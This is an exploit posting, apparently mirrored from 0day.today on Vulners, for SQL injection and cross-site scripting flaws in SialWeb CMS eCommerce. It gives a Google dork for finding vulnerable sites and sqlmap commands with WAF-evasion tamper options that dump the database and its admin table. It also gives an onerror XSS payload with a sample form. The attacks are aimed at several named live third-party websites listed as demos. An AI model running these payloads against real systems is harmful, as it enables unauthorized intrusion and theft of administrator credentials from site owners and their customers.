Lucene search
K

SialWeb CMS eCommerce 1.0 / 1.1 Cross Site Scripting / SQL Injection Vulnerabilities

🗓️ 26 Mar 2020 00:00:00Reported by ThelastVvVType 
zdt
 zdt
🔗 0day.today👁 263 Views

SialWeb CMS eCommerce 1.0 / 1.1 Cross Site Scripting / SQL Injection Vulnerabilities. Exploits for SQL Injection & XS

Code
# Exploit Title: SialWeb CMS SQL Injection & XSS Vulnerability
# Google Dork: intext:" By Sial Web" +inurl:/.php?id=
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://sialweb.net/
# Tested on: Ubuntu

---------------------------------------------------------

PoC 1:
The remote sql injection web vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
For security demonstration or to reproduce follow the provided information and steps below to continue.

Payload(s)

http://www.zaryabind.com/about.php?Id=[]'[SQL INJECTION VULNERABILITY!]

SQLMAP Payload(s):

sqlmap -u http://www.zaryabind.com/about.php?Id=4 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs

sqlmap -u http://www.zaryabind.com/about.php?Id=4 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D zaryabin_db --tables

sqlmap -u http://www.zaryabind.com/about.php?Id=4 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dump -D zaryabin_db  -T tbl_admin

*Note: once you get the db name you can skip the other steps and directly get "tbl_admin" data (you can use command 1 and 3 ..above )

PoC 2 :

XSS Vulnerability

Payload(s) :

in Search box use payload:
<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

<html>
  <body>

<div id="search-category" class="input-group">
                                <form class="search-box" action="https://www.megafightgear.com.pk/search.php" method="post">

                                    <input class="form-control" placeholder="Search here..." id="text-search" name="tsearch" value="<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>" type="search">
                                    <button id="btn-search-category" type="submit">
                                      <i class="fa fa-search">&nbps;</i>
                                    </button>
                                </form>
                            </div>
  </body>
</html>

demo(s):

http://www.zaryabind.com/about.php?Id=4%27
https://www.megafightgear.com.pk/about.php?Id=1%27
http://www.aplus.com.pk/about.php?Id=3

#  0day.today [2020-03-26]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation